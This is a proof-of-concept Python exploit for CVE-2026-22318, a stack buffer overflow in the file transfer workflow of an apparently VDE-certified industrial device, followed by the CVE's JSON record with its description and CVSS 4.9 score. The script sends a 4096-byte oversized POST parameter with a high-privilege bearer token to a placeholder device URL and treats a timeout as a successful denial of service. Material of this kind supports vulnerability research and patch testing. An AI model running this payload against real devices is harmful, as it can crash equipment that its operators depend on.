CVE-2026-22318

# CVE-2026-22318 PoC - Stack Buffer Overflow in File Transfer Parameter # Target: VDE certified device with file transfer functionality # Requirement: High privilege access import requests import sys TARGET_URL = "http://target-device/api/file_transfer" def exploit_buffer_overflow(): """ Send oversized POST parameter to trigger stack buffer overflow This PoC demonstrates sending a payload with 4096 bytes of 'A' characters to overflow the parameter buffer in file transfer workflow. """ headers = { "Content-Type": "application/x-www-form-urlencoded", "Authorization": "Bearer <high_privilege_token>" } # Construct oversized parameter payload # Adjust size based on actual buffer allocation oversized_param = "A" * 4096 payload = { "file_transfer_param": oversized_param, "action": "transfer" } try: print(f"[*] Sending malicious payload to {TARGET_URL}") print(f"[*] Payload size: {len(oversized_param)} bytes") response = requests.post(TARGET_URL, data=payload, headers=headers, timeout=10) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response: {response.text}") except requests.exceptions.Timeout: print("[!] Request timed out - target may have crashed (DoS successful)") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": exploit_buffer_overflow()

{"cve": {"id": "CVE-2026-22318", "sourceIdentifier": "[email protected]", "published": "2026-03-18T08:16:28.060", "lastModified": "2026-03-18T14:52:44.227", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A stack-based buffer overflow vulnerability in the device's file transfer parameter workflow allows a high-privileged attacker to send oversized POST parameters, causing memory corruption in an internal process, resulting in a DoS attack."}, {"lang": "es", "value": "Una vulnerabilidad de desbordamiento de búfer basado en pila en el flujo de trabajo de parámetros de transferencia de archivos del dispositivo permite a un atacante con altos privilegios enviar parámetros POST sobredimensionados, causando corrupción de memoria en un proceso interno, resultando en un ataque DoS."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-121"}]}], "references": [{"url": "https://certvde.com/de/advisories/VDE-2025-104", "source": "[email protected]"}]}}